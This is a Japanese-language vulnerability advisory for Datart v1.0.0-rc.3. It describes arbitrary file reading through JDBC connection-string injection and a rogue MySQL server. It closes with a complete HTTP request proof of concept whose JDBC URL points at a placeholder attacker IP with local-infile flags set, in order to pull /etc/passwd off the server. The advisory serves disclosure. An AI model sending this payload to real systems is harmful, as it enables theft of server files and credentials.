
Datart v1.0.0-rc.3 JDBC接続文字列インジェクションによる任意ファイル読み取り
Datart v1.0.0-rc.3 に任意のファイル読み取りの脆弱性が発見されました。このアプリケーションは、データソース設定時に JDBC 接続 URL を適切に検証しません。
脆弱性タイプ: 不適切な入力検証 (CWE-20) / 任意のファイル読み取り 影響を受けるバージョン: Datart v1.0.0-rc.3 深刻度: 高 (機密情報が漏えいする可能性)
この脆弱性は、データソース設定モジュールに存在します。アプリケーションは JDBC 設定内の url パラメータを厳密にサニタイズしません。データソースを設定できる権限を持つリモートの攻撃者は、JDBC URL に悪意のあるパラメータ (具体的には allowLoadLocalInfile=true) を注入できます。
JDBC 接続を攻撃者が制御する悪意のある MySQL サーバ (Rogue MySQL Server) に向けることで、攻撃者はクライアントに Datart サーバ上のローカルファイルを攻撃者のサーバへ送信させることができます。
攻撃が成功すると、認証された攻撃者はサーバのファイルシステムから任意のファイル (例: /etc/passwd、設定ファイル、ソースコード) を読み取ることができ、サーバの侵害やさらなる攻撃につながる可能性があります。
LOAD DATA LOCAL INFILE 機能を悪用できる悪意のある MySQL サーバをセットアップします (例: などのツールを使用)。rogue_mysql_serverPOST /api/v1/data-provider/test HTTP/1.1
Host: {{TARGET_HOST}}
Content-Type: application/json
Authorization: Bearer {{VALID_JWT_TOKEN}}
Accept: application/json
{
"name": "cve-poc-test",
"type": "JDBC",
"properties": {
"dbType": "MYSQL",
"url": "jdbc:mysql://{{ATTACKER_IP}}:{{ATTACKER_PORT}}/test?allowLoadLocalInfile=true&allowUrlInLocalInfile=true&maxAllowedPacket=655360",
"user": "fileread_/etc/passwd",
"password": "any_password",
"driverClass": "com.mysql.cj.jdbc.Driver",
"serverAggregate": false,
"enableSpecialSQL": false,
"enableSyncSchemas": true,
"syncInterval": "60",
"properties": {}
}
}